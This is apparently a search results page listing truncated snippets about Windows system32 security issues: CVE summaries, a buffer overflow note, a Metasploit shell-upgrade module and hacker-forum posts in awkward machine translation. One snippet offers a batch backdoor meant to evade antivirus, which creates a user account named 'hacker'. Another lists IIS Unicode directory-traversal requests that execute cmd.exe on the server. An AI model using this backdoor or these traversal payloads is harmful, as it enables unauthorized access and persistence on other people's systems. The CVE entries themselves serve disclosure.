129 matches found
Never killed a back door-a batch of Essentials-vulnerability warning-the black bar safety net
The code idea is the shadow Hawk DESERT friends of, the original code is too much trouble, I made improvements, this Backdoor advantage is small and will not be killed, put to the SYSTEM32 directory on it, the code is as follows: @echo off @attrib +s + r xyt. bat @net user xyt hacker /add @net...
Dove gray is registered as a system service method-reference for the black hole-vulnerability and early warning-the black bar safety net
A few days ago a pigeon to research registered into the system service method, I don't have pigeons, and found that it is using rundll32 to import an inf to achieve, this should be added a registry key to disable the reg script, disable regedit, are effective? Examples are as follows: Add a...
CVE-2003-1246
CVE-2003-1246 affects the Integrity Protection Driver (IPD) versions 1.2 and 1.3. The vulnerability is in NtCreateSymbolicLinkObject within ntdll.dll, allowing a local attacker to create and overwrite arbitrary files under boot/system path via a symlink attack on \winnt\system32\drivers using the...
Windows mplay32 buffer overflow
Microsoft is aware of the vulnerability. Since this successful remote exploitation of this vulnerability depends on other mitigating factors, Microsoft believes it is not worthy of a bulletin. This overflow will be fixed in XP service pack 1. I will explain my understanding of the vulnerability...
CVE-2002-0479
Gravity Storm Service Pack Manager 2000 creates a hidden share SPM2000c$ mapped to the C drive, which may allow local users to bypass access restrictions on certain directories in the C drive, such as system32, by accessing them through the hidden share...
CVE-2002-0479: Undefined Security Weakness
Gravity Storm Service Pack Manager 2000 creates a hidden share SPM2000c$ mapped to the C drive, which may allow local users to bypass access restrictions on certain directories in the C drive, such as system32, by accessing them through the hidden share...
IIS Unicode Strings
Some of unicodes ... collected by cd http://bastardo.de/ apache ; /MSADC/root.exe?/c+dir /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir...
Windows Command Shell Upgrade (Powershell)
This module executes Powershell to upgrade a Windows Shell session to a full Meterpreter session. Module Options msf use exploit/windows/local/powershell/cmdupgrade msf undefinedcmdupgrade show actions ...actions... msf undefinedcmdupgrade set ACTION msf undefinedcmdupgrade show options ...show a...
